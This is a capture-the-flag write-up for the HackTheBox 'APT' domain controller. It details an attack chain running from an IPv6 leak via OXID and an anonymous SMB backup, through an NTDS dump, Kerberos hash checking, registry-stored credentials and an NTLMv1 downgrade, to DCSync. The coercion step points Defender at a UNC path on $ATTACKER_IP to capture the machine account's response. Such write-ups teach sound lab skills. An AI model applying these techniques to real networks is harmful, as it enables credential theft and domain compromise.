APT Writeup - HackTheBox
APT is a Windows domain controller that hides almost everything behind IPv6. The chain runs: OXID resolution over MSRPC to leak the IPv6 address, an anonymous SMB share holding a full Active Directory backup, an offline NTDS dump, Kerberos pre-authentication brute force to turn one of those hashes into a working account, plaintext credentials in a per-user registry hive, and finally an NTLMv1 downgrade that gives up the domain controller machine account for a DCSync.
Reconnaissance
Port scan over IPv4
Open $TARGET_IP:80 Open $TARGET_IP:135
Explain command
| -a $TARGET_IP | Address to sweep for open ports across the full range. |
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Gigantic Hosting | Home 135/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
| -sCV | Run the default script set and probe service versions. |
| -T4 | Faster timing template, safe against a lab target. |
| -p80,135 | Limit the scan to the ports rustscan already found open. |
A website and the RPC endpoint mapper, nothing else. Two ports on a Windows host with RPC exposed is worth a second look, because the OXID resolver in DCOM reports every interface the machine is bound to, no matter which interface the request arrived on. That includes addresses the IPv4 scan can never reach.
Leaking the IPv6 address
[*] Retrieving network interface of $TARGET_IP Address: apt Address: $TARGET_IP Address: $TARGET_IPV6
Explain command
| -t $TARGET_IP | Target to query over the RPC endpoint mapper. |
The host answers with its own name and a link local IPv6 address on top of the IPv4 one. Mapping apt to that address in /etc/hosts keeps name resolution working for the Kerberos tooling later, and rescanning over IPv6 shows the real machine.
Port scan over IPv6
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap 3269/tcp open globalcatLDAPssl? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing
Explain command
| -6 | Scan over IPv6 instead of IPv4. |
| -Pn | Skip host discovery, which the target does not answer. |
DNS, Kerberos, LDAP, LDAPS, the global catalog, SMB and WinRM. This is a domain controller for htb.local, and every one of those services was invisible on the IPv4 path.
Enumeration
Anonymous SMB
Anonymous login successful
Sharename Type Comment
--------- ---- -------
backup Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Explain command
| -L //apt/ | List the shares offered by the host. |
| -N | Connect without a password, testing anonymous access. |
Null sessions are allowed and there is a backup share next to the standard domain shares. That name on a domain controller is worth reading immediately.
Anonymous login successful getting file \backup.zip of size 10650961 as backup.zip (98.8 KiloBytes/sec)
Explain command
| -c "get backup.zip" | Run a single command and exit instead of opening a session. |
| -t 300 | Raise the timeout so the 10 MB transfer completes. |
Vulnerability Discovery
What is inside the backup
Archive: backup.zip creating: Active Directory/ [backup.zip] Active Directory/ntds.dit password:
The archive is encrypted, but the file listing already gives it away: ntds.dit is the Active Directory database, holding every domain object and every password hash. With the registry hives alongside it the whole domain can be decrypted offline. The zip password is the only thing in the way.
$BACKUP_ZIP_PASSWORD (backup.zip) 1g 0:00:00:00 DONE
Explain command
| --wordlist=/usr/share/wordlists/rockyou.txt | Dictionary to try against the extracted zip hash. |
inflating: Active Directory/ntds.dit inflating: Active Directory/ntds.jfm creating: registry/ inflating: registry/SECURITY inflating: registry/SYSTEM
Everything needed for an offline dump is here. SYSTEM carries the boot key, SECURITY carries the LSA secrets, and ntds.dit carries the accounts encrypted under that boot key.
Exploitation
Offline NTDS dump
[*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC HTB\APT$:aad3b435b51404eeaad3b435b51404ee:$APT_MACHINE_HASH::: [*] DPAPI_SYSTEM <snip>
Explain command
| local | Work on files on disk instead of authenticating to a host. |
| -system registry/SYSTEM | Hive holding the boot key that decrypts the rest. |
| -ntds "Active Directory/ntds.dit" | Database to extract account secrets from. |
| -outputfile hashes | Write the results to hashes.ntds and related files. |
The dump writes one file per format, and the Kerberos keys file lists every account name, which is a username list without touching the network.
Which accounts still exist
[+] VALID USERNAME: Administrator@htb.local [+] VALID USERNAME: APT$@htb.local [+] VALID USERNAME: henry.vinson@htb.local
Explain command
| userenum | Validate usernames through Kerberos AS-REQ responses. |
| -d htb.local | Kerberos realm to test against. |
| --dc apt | Domain controller to send the requests to. |
The backup is old, so most accounts in it are gone. Three survive, and henry.vinson is the only real user among them. The hashes from the dump are stale for that account, but Kerberos accepts an RC4 pre-authentication key that is the NT hash itself, so every hash in the dump can be tested against the live KDC as if it were a password.
[+] Valid hash: $HENRY_VINSONS_HASH
SMB APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) SMB APT [+] htb.local\henry.vinson:$HENRY_VINSONS_HASH
Explain command
| -u henry.vinson | Account to authenticate as. |
| -H $HENRY_VINSONS_HASH | Authenticate with the NT hash instead of a password. |
The hash works over SMB, but the account has no WinRM rights, so Evil-WinRM refuses it. What it can still do is read the remote registry.
Credentials in a loaded user hive
HKU\.DEFAULT HKU\S-1-5-19 HKU\S-1-5-20 HKU\S-1-5-21-2993095098-2100462451-206186470-1105 HKU\S-1-5-18
Explain command
| -hashes :$HENRY_VINSONS_HASH | Pass the NT hash instead of a password. |
| query -keyName HKU | List the loaded user hives. |
A domain SID ending in 1105 is loaded, so that profile is active on the box. Walking its Software key turns up GiganticHostingManagementSystem, which matches the branding of the website from the first scan. Custom applications that keep their own settings there often keep credentials there too.
UserName REG_SZ henry.vinson_adm
PassWord REG_SZ $HENRY_VINSON_ADMS_PASSWORD
A second, privileged account with its password in cleartext. This one does have WinRM rights.
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>
Foothold as henry.vinson_adm.
Privilege Escalation
PowerShell history
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}
Someone set LmCompatibilityLevel to 2 on this host. That value makes the client send NTLM responses while the machine still accepts LM and NTLMv1 inbound. NTLMv1 responses are three DES operations over the NT hash, so a captured response can be turned back into the hash itself, which NTLMv2 does not allow. Capturing one requires the machine to authenticate outbound to a listener under our control.
Capturing an NTLMv1 response
[+] Poisoning Options:
Force LM downgrade [ON]
Force ESS downgrade [ON]
[+] Generic Options:
Challenge set [1122334455667788]
Explain command
| -I tun0 | Interface to listen on. |
| --lm | Force the LM and NTLMv1 downgrade so the response is crackable. |
The fixed challenge matters. NTLMv1 responses are normally salted per session, which defeats precomputation, but Responder always answers with 1122334455667788, which is exactly the challenge the public DES tables were built for.
Windows Defender provides the coercion. A scan pointed at a UNC path forces the host to authenticate to that share before it can read the file, and the scan runs as the machine account.
Scan starting...
Explain command
| -ScanType 3 | Custom scan, which accepts an arbitrary path. |
| -File \\$ATTACKER_IP\share\file.txt | UNC path that forces outbound SMB authentication. |
[SMB] NTLMv1 Client : $TARGET_IP [SMB] NTLMv1 Username : HTB\APT$ [SMB] NTLMv1 Hash : APT$::HTB:$APT_NTLMV1_RESPONSE:$APT_NTLMV1_RESPONSE:1122334455667788
The response belongs to APT$, the domain controller machine account, because the scanning process authenticates as the computer rather than the logged on user. Submitting it to crack.sh in the NTHASH: format returns the NT hash for that account.
A domain controller machine account holds the replication rights that DCSync abuses, so that hash is enough to ask the domain for any account's secrets.
DCSync and pass the hash
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATORS_HASH::: [*] Kerberos keys grabbed <snip>
Explain command
| -hashes :$APT_MACHINE_HASH | Authenticate as the machine account with its NT hash. |
| -just-dc-user administrator | Replicate only the Administrator account instead of the whole domain. |
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami htb\administrator
Domain administrator over WinRM with the replicated hash. Both the user context and full domain compromise are covered.
Related
References
-
Queries the DCOM OXID resolver to list every interface a host is bound to.
-
crack.sh NetNTLMv1 crackingLINK: crack.sh NetNTLMv1 cracking, crack.sh/netntlm (opens in new tab)
Explains the DES weakness in NTLMv1 and the fixed 1122334455667788 challenge requirement.
-
Network security: LAN Manager authentication levelDOCS: Network security: LAN Manager authentication level, learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level (opens in new tab)
Microsoft documentation for the LmCompatibilityLevel values, including the weak value 2.